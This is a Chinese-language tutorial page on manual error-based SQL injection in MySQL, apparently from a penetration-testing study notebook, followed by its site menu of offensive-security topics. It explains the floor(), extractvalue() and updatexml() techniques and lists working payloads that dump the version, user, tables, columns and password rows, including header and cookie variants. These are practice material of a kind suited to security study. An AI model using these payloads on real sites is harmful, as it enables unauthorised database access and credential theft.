## 基于函數報錯手工注入
### 思路、條件、優缺點等
當數據庫的函數被傳入錯誤參數時,會發生語法錯誤,正常情況下這類錯誤不應該回顯到前端頁面,但當中間件或程序未正常屏蔽時導致錯誤信息輸出到屏幕上,就能用來進行報錯注入了。
select/insert/update/delete都可以被用來報錯注入
**報錯注入條件:**
1. 后臺沒有屏蔽數據庫報錯信息,在語法發生錯誤時會輸出在前端
2. 運維人員設置中間件的時候,錯誤輸出沒有屏蔽
3. 程序員寫網站代碼的時候,沒有屏蔽錯誤信息輸出
**優缺點:**
1. 優點是注入速度快
2. 缺點是語句較為復雜,而且只能用**limit**依次進行猜解
總體來說,報錯注入其實是一種公式化的注入方法,主要用于在頁面中沒有顯示位,但是用mysql輸出了錯誤信息時使用。
### 常用函數
floor():MYSQL 中用來取整的函數
~~~sql
select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 連接字符串功能
#floor 取float的整數值
#rang 取0-1之間隨機浮點值
#group by 對結果集進行排序
select verson()就是我們用來做sql注入的語句
~~~
extractvalue():MYSQL 對 XML 文檔數據進行查詢的 XPATH 函數
~~~sql
select extractvalue(1,concat(0x7e,(select user()),0x7e));
#extractvalue():接收2個參數,第一個xml文檔,第二個xpath語句
#用concat構造一個錯誤的xpath字符串,使extractvalue函數報錯,顯示出構造的'錯誤'字符串
~~~
updatexml():MYSQL 對 XML 文檔數據進行查詢和修改的 XPATH 函數
**最常用的報錯注入函數**
~~~sql
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
#接收3個參數,第一個xml文檔,第二個xpath語句,第三個字符串
#原理和extravtvalue一樣,構造錯誤的xpath語句報錯
~~~
### updatexml報錯實戰
select、delete語句注入
```sql
#1 爆數據庫版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆數據庫當前用戶
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆數據庫
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反饋回的錯誤表示只能顯示一行,所以采用limit來一行一行顯示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段內容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #
```
insert、update、注入
增、改同樣可以用來進行報錯注入,只是需要前后分別用or語句連接,使語句完整,一般需要抓包用bp改參數
```sql
# 原語句
insert into xxx id values ('k');
# 報錯注入語句
k' or updatexml(1,concat(0x7e,(命令)),0) or'
# 組合后語句
insert into xxx id values ('k' or updatexml(1,concat(0x7e,(命令)),0) or'');
```
head和cookie注入
如果代碼調用了head或cookie中的信息拿到數據庫進行拼接,也可以用報錯注入嘗試
同樣是先用單引號找到注入點,在進行注入
```sql
# http head頭注入,假如是對瀏覽器類型的檢測
Mozilla ' or updatexml(1,concat(0x7e,database ()),0) or '
# cookie注入,假如原cookie為 ant[uname]=admin
ant[uname]=admin' and updatexml (1,concat(0x7e,database()),0) #
```
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具